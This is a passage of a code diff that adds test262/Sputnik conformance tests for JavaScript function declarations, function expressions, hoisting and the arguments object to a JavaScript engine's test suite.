+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Function declarations in global or function scope are {DontDelete}
+ *
+ * @path ch13/13.0/S13_A12_T1.js
+ * @description Checking if deleting a function that is declared in global scope fails
+ */
+
+ALIVE="Letov is alive"
+
+function __func(){
+ return ALIVE;
+};
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if (delete __func) {
+ $ERROR('#1: delete __func returning false');
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#2
+if (__func() !== ALIVE) {
+ $ERROR('#2: __func() === ALIVE. Actual: __func() ==='+__func());
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch13/13.0/S13_A12_T2.js b/js/src/tests/test262/ch13/13.0/S13_A12_T2.js
new file mode 100644
index 000000000..08ea18247
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.0/S13_A12_T2.js
@@ -0,0 +1,37 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Function declarations in global or function scope are {DontDelete}
+ *
+ * @path ch13/13.0/S13_A12_T2.js
+ * @description Checking if deleting a function that is declared in function scope fails
+ */
+
+ALIVE="Letov is alive"
+
+function __cont(){
+
+ function __func(){
+ return ALIVE;
+ };
+
+ //////////////////////////////////////////////////////////////////////////////
+ //CHECK#1
+ if (delete __func) {
+ $ERROR('#1: delete __func returning false');
+ }
+ //
+ //////////////////////////////////////////////////////////////////////////////
+
+ //////////////////////////////////////////////////////////////////////////////
+ //CHECK#2
+ if (__func() !== ALIVE) {
+ $ERROR('#2: __func() === ALIVE. Actual: __func() ==='+__func());
+ }
+ //
+ //////////////////////////////////////////////////////////////////////////////
+};
+
+__cont();
+
diff --git a/js/src/tests/test262/ch13/13.0/S13_A13_T1.js b/js/src/tests/test262/ch13/13.0/S13_A13_T1.js
new file mode 100644
index 000000000..072966196
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.0/S13_A13_T1.js
@@ -0,0 +1,26 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Deleting arguments[i] leads to breaking the connection to local reference
+ *
+ * @path ch13/13.0/S13_A13_T1.js
+ * @description Deleting arguments[i]
+ */
+
+function __func(__arg){
+ delete arguments[0];
+ if (arguments[0] !== undefined) {
+ $ERROR('#1.1: arguments[0] === undefined');
+ }
+ return __arg;
+}
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if (__func(1) !== 1) {
+ $ERROR('#1.2: __func(1) === 1. Actual: __func(1) ==='+__func(1));
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch13/13.0/S13_A13_T2.js b/js/src/tests/test262/ch13/13.0/S13_A13_T2.js
new file mode 100644
index 000000000..49ba62ada
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.0/S13_A13_T2.js
@@ -0,0 +1,27 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Deleting arguments[i] leads to breaking the connection to local reference
+ *
+ * @path ch13/13.0/S13_A13_T2.js
+ * @description Changing arguments value and then deleting the argument
+ */
+
+function __func(__arg){
+ __arg = 2;
+ delete arguments[0];
+ if (arguments[0] !== undefined) {
+ $ERROR('#1.1: arguments[0] === undefined');
+ }
+ return __arg;
+}
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if (__func(1) !== 2) {
+ $ERROR('#1.2: __func(1) === 2. Actual: __func(1) ==='+__func(1));
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch13/13.0/S13_A13_T3.js b/js/src/tests/test262/ch13/13.0/S13_A13_T3.js
new file mode 100644
index 000000000..715150018
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.0/S13_A13_T3.js
@@ -0,0 +1,31 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Deleting arguments[i] leads to breaking the connection to local reference
+ *
+ * @path ch13/13.0/S13_A13_T3.js
+ * @description Changing argument value, deleting the argument and then defining a new value for arguments[i]
+ */
+
+function __func(__arg){
+ __arg = 2;
+ delete arguments[0];
+ if (arguments[0] !== undefined) {
+ $ERROR('#1.1: arguments[0] === undefined');
+ }
+ arguments[0] = "A";
+ if (arguments[0] !== "A") {
+ $ERROR('#1.2: arguments[0] === "A"');
+ }
+ return __arg;
+}
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if (__func(1) !== 2) {
+ $ERROR('#1.3: __func(1) === 2. Actual: __func(1) ==='+__func(1));
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch13/13.0/S13_A14.js b/js/src/tests/test262/ch13/13.0/S13_A14.js
new file mode 100644
index 000000000..7d5bc732f
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.0/S13_A14.js
@@ -0,0 +1,20 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Unicode symbols in function name are allowed
+ *
+ * @path ch13/13.0/S13_A14.js
+ * @description Defining function name with unicode symbols
+ */
+
+eval("function __func\u0041(__arg){return __arg;};");
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if (typeof __funcA !== "function") {
+ $ERROR('#1: unicode symbols in function name are allowed');
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch13/13.0/S13_A15_T1.js b/js/src/tests/test262/ch13/13.0/S13_A15_T1.js
new file mode 100644
index 000000000..74531f8c5
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.0/S13_A15_T1.js
@@ -0,0 +1,22 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * ''arguments'' variable overrides ActivationObject.arguments
+ *
+ * @path ch13/13.0/S13_A15_T1.js
+ * @description Declaring a function with "__func(arguments)"
+ */
+
+function __func(arguments){
+ return arguments;
+};
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if (__func(42) !== 42) {
+ $ERROR('#1: "arguments" variable overrides ActivationObject.arguments');
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch13/13.0/S13_A15_T2.js b/js/src/tests/test262/ch13/13.0/S13_A15_T2.js
new file mode 100644
index 000000000..77e7c847b
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.0/S13_A15_T2.js
@@ -0,0 +1,25 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * ''arguments'' variable overrides ActivationObject.arguments
+ *
+ * @path ch13/13.0/S13_A15_T2.js
+ * @description Overriding arguments within functions body
+ */
+
+THE_ANSWER="Answer to Life, the Universe, and Everything";
+
+function __func(){
+ var arguments = THE_ANSWER;
+ return arguments;
+};
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if (__func(42,42,42) !== THE_ANSWER) {
+ $ERROR('#1: "arguments" variable overrides ActivationObject.arguments');
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch13/13.0/S13_A15_T3.js b/js/src/tests/test262/ch13/13.0/S13_A15_T3.js
new file mode 100644
index 000000000..4ba50e717
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.0/S13_A15_T3.js
@@ -0,0 +1,35 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * ''arguments'' variable overrides ActivationObject.arguments
+ *
+ * @path ch13/13.0/S13_A15_T3.js
+ * @description Declaring a variable named with "arguments" without a function
+ */
+
+THE_ANSWER="Answer to Life, the Universe, and Everything";
+
+var arguments = THE_ANSWER;
+
+function __func(arguments){
+ return arguments;
+
+};
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if (typeof __func() !== "undefined") {
+ $ERROR('#1: typeof __func() === "undefined". Actual: typeof __func() ==='+typeof __func());
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#2
+if (__func("The Ultimate Question") !== "The Ultimate Question") {
+ $ERROR('#2: __func("The Ultimate Question") === "The Ultimate Question". Actual: __func("The Ultimate Question")==='+__func("The Ultimate Question"));
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch13/13.0/S13_A15_T4.js b/js/src/tests/test262/ch13/13.0/S13_A15_T4.js
new file mode 100644
index 000000000..a71b34833
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.0/S13_A15_T4.js
@@ -0,0 +1,25 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * ''arguments'' variable overrides ActivationObject.arguments
+ *
+ * @path ch13/13.0/S13_A15_T4.js
+ * @description Declaring a variable named with "arguments" and following a "return" statement within a function body
+ */
+
+THE_ANSWER="Answer to Life, the Universe, and Everything";
+
+function __func(){
+ return typeof arguments;
+ var arguments = THE_ANSWER;
+};
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if (__func(42,42,42) !== "object") {
+ $ERROR('#1: __func(42,42,42) === "object". Actual: __func(42,42,42)==='+__func(42,42,42));
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch13/13.0/S13_A15_T5.js b/js/src/tests/test262/ch13/13.0/S13_A15_T5.js
new file mode 100644
index 000000000..4896a19c2
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.0/S13_A15_T5.js
@@ -0,0 +1,34 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * ''arguments'' variable overrides ActivationObject.arguments
+ *
+ * @path ch13/13.0/S13_A15_T5.js
+ * @description Creating a variable named with "arguments" without a function
+ */
+
+THE_ANSWER="Answer to Life, the Universe, and Everything";
+
+var arguments = THE_ANSWER;
+
+function __func(){
+ return arguments;
+};
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if ( __func() === THE_ANSWER) {
+ $ERROR('#1: __func() !== THE_ANSWER');
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#2
+if (__func("The Ultimate Question") === "The Ultimate Question") {
+ $ERROR('#2: __func("The Ultimate Question") !== "The Ultimate Question"');
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch13/13.0/S13_A16.js b/js/src/tests/test262/ch13/13.0/S13_A16.js
new file mode 100644
index 000000000..8b8ee7080
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.0/S13_A16.js
@@ -0,0 +1,44 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Any separators are admitted between declaration chunks
+ *
+ * @path ch13/13.0/S13_A16.js
+ * @description Inserting separators between declaration chunks
+ */
+
+function
+x
+(
+)
+{
+}
+;
+
+x();
+
+function y ( ) {};
+
+y();
+
+function
+
+z
+
+(
+
+)
+
+{
+
+}
+
+;
+
+z();
+
+eval("function\u0009\u2029w(\u000C)\u00A0{\u000D};");
+
+w();
+
diff --git a/js/src/tests/test262/ch13/13.0/S13_A17_T1.js b/js/src/tests/test262/ch13/13.0/S13_A17_T1.js
new file mode 100644
index 000000000..1ea6c287a
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.0/S13_A17_T1.js
@@ -0,0 +1,45 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Function call cannot appear in the program before the FunctionExpression appears
+ *
+ * @path ch13/13.0/S13_A17_T1.js
+ * @description Trying to call a function before the FunctionExpression appears
+ */
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+try{
+ var __result = __func();
+ $FAIL("#1.1: var __result = __func() lead to throwing exception");
+} catch(e) {
+ if ((e instanceof TypeError) !== true) {
+ $ERROR('#1.2: func should throw a TypeError Actual: ' + (e));
+ }
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+var __func = function (){return "ONE";};
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#2
+var __result = __func();
+if (__result !== "ONE") {
+ $ERROR('#2: __result === "ONE". Actual: __result ==='+__result);
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+__func = function (){return "TWO";};
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#3
+var __result = __func();
+if (__result !== "TWO") {
+ $ERROR('#3: __result === "TWO". Actual: __result ==='+__result);
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch13/13.0/S13_A17_T2.js b/js/src/tests/test262/ch13/13.0/S13_A17_T2.js
new file mode 100644
index 000000000..d502d3b46
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.0/S13_A17_T2.js
@@ -0,0 +1,46 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Function call cannot appear in the program before the FunctionExpression appears
+ *
+ * @path ch13/13.0/S13_A17_T2.js
+ * @description Trying to call a function before the FunctionExpression appears and then using the FunctionExpression one more time
+ */
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+try{
+ var __result = __func();
+ $ERROR("#1: var __result = __func() lead to throwing exception");
+} catch(e) {
+ if ((e instanceof TypeError) !== true) {
+ $ERROR('#1.2: func should throw a TypeError Actual: ' + (e));
+ }
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+// now we reach the __func overwriting by new expression
+var __func = function __func(){return "ONE";};
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#2
+var __result = __func();
+if (__result !== "ONE") {
+ $ERROR('#2: __result === "ONE". Actual: __result ==='+__result);
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+__func = function __func(){return "TWO";};
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#3
+var __result = __func();
+if (__result !== "TWO") {
+ $ERROR('#3: __result === "TWO". Actual: __result ==='+__result);
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch13/13.0/S13_A18.js b/js/src/tests/test262/ch13/13.0/S13_A18.js
new file mode 100644
index 000000000..827db7547
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.0/S13_A18.js
@@ -0,0 +1,32 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Closures are admitted
+ *
+ * @path ch13/13.0/S13_A18.js
+ * @description Using a function declaration as a function parameter
+ */
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if (typeof sinx !== 'undefined') {
+ $ERROR('#1: typeof sinx === \'undefined\'. Actual: typeof sinx ==='+typeof sinx);
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+var __val = function derivative(f, dx) {
+ return function(x) {
+ return (f(x + dx) - f(x)) / dx;
+ };
+}(function sinx(x){return Math.sin(x);},.0001)(0.5);
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#2
+if (typeof sinx !== 'undefined') {
+ $ERROR('#2: typeof sinx === \'undefined\'. Actual: typeof sinx ==='+typeof sinx);
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch13/13.0/S13_A19_T1.js b/js/src/tests/test262/ch13/13.0/S13_A19_T1.js
new file mode 100644
index 000000000..9bcf1921f
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.0/S13_A19_T1.js
@@ -0,0 +1,32 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * "var" does not override function declaration
+ *
+ * @path ch13/13.0/S13_A19_T1.js
+ * @description Creating a function and a variable with identical Identifiers in global scope
+ */
+
+// since "var" does not override function declaration __decl is set to function
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if (typeof __decl !== "function") {
+ $ERROR('#1: typeof __decl === "function". Actual: typeof __decl ==='+typeof __decl);
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+var __decl = 1;
+
+//since statement was evaluted __decl turns to 1 from function
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#2
+if (__decl !== 1) {
+ $ERROR('#2: __decl === 1. Actual: __decl ==='+__decl);
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+function __decl(){return 1;}
+
diff --git a/js/src/tests/test262/ch13/13.0/S13_A19_T2.js b/js/src/tests/test262/ch13/13.0/S13_A19_T2.js
new file mode 100644
index 000000000..7757d8be6
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.0/S13_A19_T2.js
@@ -0,0 +1,35 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * "var" does not override function declaration
+ *
+ * @path ch13/13.0/S13_A19_T2.js
+ * @description Creating a function and a variable with identical Identifiers within function scope
+ */
+
+(function (){
+
+ // since "var" does not override function declaration __decl is set to function
+ //////////////////////////////////////////////////////////////////////////////
+ //CHECK#1
+ if (typeof __decl !== "function") {
+ $ERROR('#1: typeof __decl === "function". Actual: typeof __decl ==='+typeof __decl);
+ }
+ //
+ //////////////////////////////////////////////////////////////////////////////
+
+ var __decl = 1;
+
+ //since statement was evaluted __decl turns to 1 from function
+ //////////////////////////////////////////////////////////////////////////////
+ //CHECK#2
+ if (__decl !== 1) {
+ $ERROR('#2: __decl === 1. Actual: __decl ==='+__decl);
+ }
+ //
+ //////////////////////////////////////////////////////////////////////////////
+
+ function __decl(){return 1;}
+})();
+
diff --git a/js/src/tests/test262/ch13/13.0/S13_A2_T1.js b/js/src/tests/test262/ch13/13.0/S13_A2_T1.js
new file mode 100644
index 000000000..b9307ac70
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.0/S13_A2_T1.js
@@ -0,0 +1,29 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * function must be evaluated inside the expression
+ *
+ * @path ch13/13.0/S13_A2_T1.js
+ * @description Defining function body with "return arg"
+ */
+
+var x = (function __func(arg){return arg})(1);
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if (x !== 1) {
+ $ERROR('#1: x === 1. Actual: x ==='+x);
+}
+
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#2
+if (typeof __func !== 'undefined') {
+ $ERROR('#2: typeof __func === \'undefined\'. Actual: typeof __func ==='+typeof __func);
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch13/13.0/S13_A2_T2.js b/js/src/tests/test262/ch13/13.0/S13_A2_T2.js
new file mode 100644
index 000000000..c43c58e79
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.0/S13_A2_T2.js
@@ -0,0 +1,29 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * function must be evaluated inside the expression
+ *
+ * @path ch13/13.0/S13_A2_T2.js
+ * @description Defining function body with "return arg + arguments[1]"
+ */
+
+var x = (function __func(arg){return arg + arguments[1]})(1,"1");
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if (x !== "11") {
+ $ERROR('#1: x === "11". Actual: x ==='+x);
+}
+
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#2
+if (typeof __func !== 'undefined') {
+ $ERROR('#2: typeof __func === \'undefined\'. Actual: typeof __func ==='+typeof __func);
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch13/13.0/S13_A2_T3.js b/js/src/tests/test262/ch13/13.0/S13_A2_T3.js
new file mode 100644
index 000000000..83d3f2463
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.0/S13_A2_T3.js
@@ -0,0 +1,29 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * function must be evaluated inside the expression
+ *
+ * @path ch13/13.0/S13_A2_T3.js
+ * @description Defining function body with "return arguments[0] +"-"+ arguments[1]"
+ */
+
+var x = (function __func(){return arguments[0] +"-"+ arguments[1]})("Obi","Wan");
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if (x !== "Obi-Wan") {
+ $ERROR('#1: x === "Obi-Wan". Actual: x ==='+x);
+}
+
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#2
+if (typeof __func !== 'undefined') {
+ $ERROR('#2: typeof __func === \'undefined\'. Actual: typeof __func ==='+typeof __func);
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch13/13.0/S13_A3_T1.js b/js/src/tests/test262/ch13/13.0/S13_A3_T1.js
new file mode 100644
index 000000000..cac7e243d
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.0/S13_A3_T1.js
@@ -0,0 +1,29 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The Identifier in a FunctionExpression can be referenced from inside the FunctionExpression's FunctionBody to allow the function calling itself recursively
+ *
+ * @path ch13/13.0/S13_A3_T1.js
+ * @description Creating a recursive function that calculates factorial, as a variable.
+ * Function call itself by it`s name
+ */
+
+var __func = function __exp__func(arg){
+ if (arg === 1) {
+ return arg;
+ } else {
+ return __exp__func(arg-1)*arg;
+ }
+};
+
+var fact_of_3 = __func(3);
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if (fact_of_3 !== 6) {
+ $ERROR("#1: fact_of_3 === 6. Actual: fact_of_3 ==="+fact_of_3);
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch13/13.0/S13_A3_T2.js b/js/src/tests/test262/ch13/13.0/S13_A3_T2.js
new file mode 100644
index 000000000..2137666a7
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.0/S13_A3_T2.js
@@ -0,0 +1,29 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The Identifier in a FunctionExpression can be referenced from inside the FunctionExpression's FunctionBody to allow the function calling itself recursively
+ *
+ * @path ch13/13.0/S13_A3_T2.js
+ * @description Creating a recursive function that calculates factorial, as a variable.
+ * Function calls itself by the name of the variable
+ */
+
+var __func = function (arg){
+ if (arg === 1) {
+ return arg;
+ } else {
+ return __func(arg-1)*arg;
+ }
+};
+
+var fact_of_3 = __func(3);
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if (fact_of_3 !== 6) {
+ $ERROR("#1: fact_of_3 === 6. Actual: fact_of_3 ==="+fact_of_3);
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch13/13.0/S13_A3_T3.js b/js/src/tests/test262/ch13/13.0/S13_A3_T3.js
new file mode 100644
index 000000000..467f3fea5
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.0/S13_A3_T3.js
@@ -0,0 +1,28 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The Identifier in a FunctionExpression can be referenced from inside the FunctionExpression's FunctionBody to allow the function calling itself recursively
+ *
+ * @path ch13/13.0/S13_A3_T3.js
+ * @description Creating simple recursive function that calculates factorial
+ */
+
+function __func(arg){
+ if (arg === 1) {
+ return arg;
+ } else {
+ return __func(arg-1)*arg;
+ }
+};
+
+var fact_of_3 = __func(3);
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if (fact_of_3 !== 6) {
+ $ERROR("#1: fact_of_3 === 6. Actual: fact_of_3 ==="+fact_of_3);
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch13/13.0/S13_A4_T1.js b/js/src/tests/test262/ch13/13.0/S13_A4_T1.js
new file mode 100644
index 000000000..453207158
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.0/S13_A4_T1.js
@@ -0,0 +1,28 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The production FunctionDeclaration: "function Identifier ( FormalParameterList_opt ) { FunctionBody }" is processed by function declarations
+ *
+ * @path ch13/13.0/S13_A4_T1.js
+ * @description Declaring a function that returns string
+ */
+
+function __func(){return "zig-zig-sputnik";};
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if (typeof __func !== "function") {
+ $ERROR('#1: typeof __func === "function". Actual: typeof __func ==='+typeof __func);
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#2
+if (__func() !== "zig-zig-sputnik") {
+ $ERROR('#2: __func() === "zig-zig-sputnik". Actual: __func() ==='+__func());
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch13/13.0/S13_A4_T2.js b/js/src/tests/test262/ch13/13.0/S13_A4_T2.js
new file mode 100644
index 000000000..d7b4a2788
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.0/S13_A4_T2.js
@@ -0,0 +1,28 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The production FunctionDeclaration: "function Identifier ( FormalParameterList_opt ) { FunctionBody }" is processed by function declarations
+ *
+ * @path ch13/13.0/S13_A4_T2.js
+ * @description Declaring a function that uses prefix increment operator within its "return" Expression
+ */
+
+function __func(arg){return ++arg;};
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if (typeof __func !== "function") {
+ $ERROR('#1: typeof __func === "function". Actual: typeof __func ==='+typeof __func);
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#2
+if (__func(1) !== 2) {
+ $ERROR('#2: __func(1) === 2. Actual: __func(1) ==='+__func(1));
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch13/13.0/S13_A4_T3.js b/js/src/tests/test262/ch13/13.0/S13_A4_T3.js
new file mode 100644
index 000000000..6595f4f77
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.0/S13_A4_T3.js
@@ -0,0 +1,28 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The production FunctionDeclaration: "function Identifier ( FormalParameterList_opt ) { FunctionBody }" is processed by function declarations
+ *
+ * @path ch13/13.0/S13_A4_T3.js
+ * @description Declaring a function that uses arithmetical operators within its "return" Expression
+ */
+
+function __func(arg1, arg2, arg3){return arg1+=(arg2+=arg3);};
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if (typeof __func !== "function") {
+ $ERROR('#1: typeof __func === "function". Actual: typeof __func ==='+typeof __func);
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#2
+if (__func(10, 20, 30) !== 60) {
+ $ERROR('#2: __func(10, 20, 30) === 60. Actual: __func(10,20,30) ==='+__func(10,20,30));
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch13/13.0/S13_A4_T4.js b/js/src/tests/test262/ch13/13.0/S13_A4_T4.js
new file mode 100644
index 000000000..7330bd80f
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.0/S13_A4_T4.js
@@ -0,0 +1,46 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The production FunctionDeclaration: "function Identifier ( FormalParameterList_opt ) { FunctionBody }" is processed by function declarations
+ *
+ * @path ch13/13.0/S13_A4_T4.js
+ * @description Declaring a function that uses strings concatenaion opeator within its "return" Expression
+ */
+
+function __func(){return arguments[0].name + " " + arguments[0].surname;};
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if (typeof __func !== "function") {
+ $ERROR('#1: typeof __func === "function". Actual: typeof __func ==='+typeof __func);
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#2
+if (__func({name:'fox', surname:'malder'}) !== "fox malder") {
+ $ERROR('#2: __func({name:\'fox\', surname:\'malder\'}) === "fox malder". Actual: __func({name:\'fox\', surname:\'malder\'}) ==='+__func({name:'fox', surname:'malder'}));
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+function func__(arg){return arg.name + " " + arg.surname;};
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#3
+if (typeof func__ !== "function") {
+ $ERROR('#3: typeof func__ === "function". Actual: typeof __func ==='+typeof __func);
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#4
+if (func__({name:'john', surname:'lennon'}) !== "john lennon") {
+ $ERROR('#4: func__({name:\'john\', surname:\'lennon\'}) === "john lennon". Actual: __func({name:\'john\', surname:\'lennon\'}) ==='+__func({name:'john', surname:'lennon'}));
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
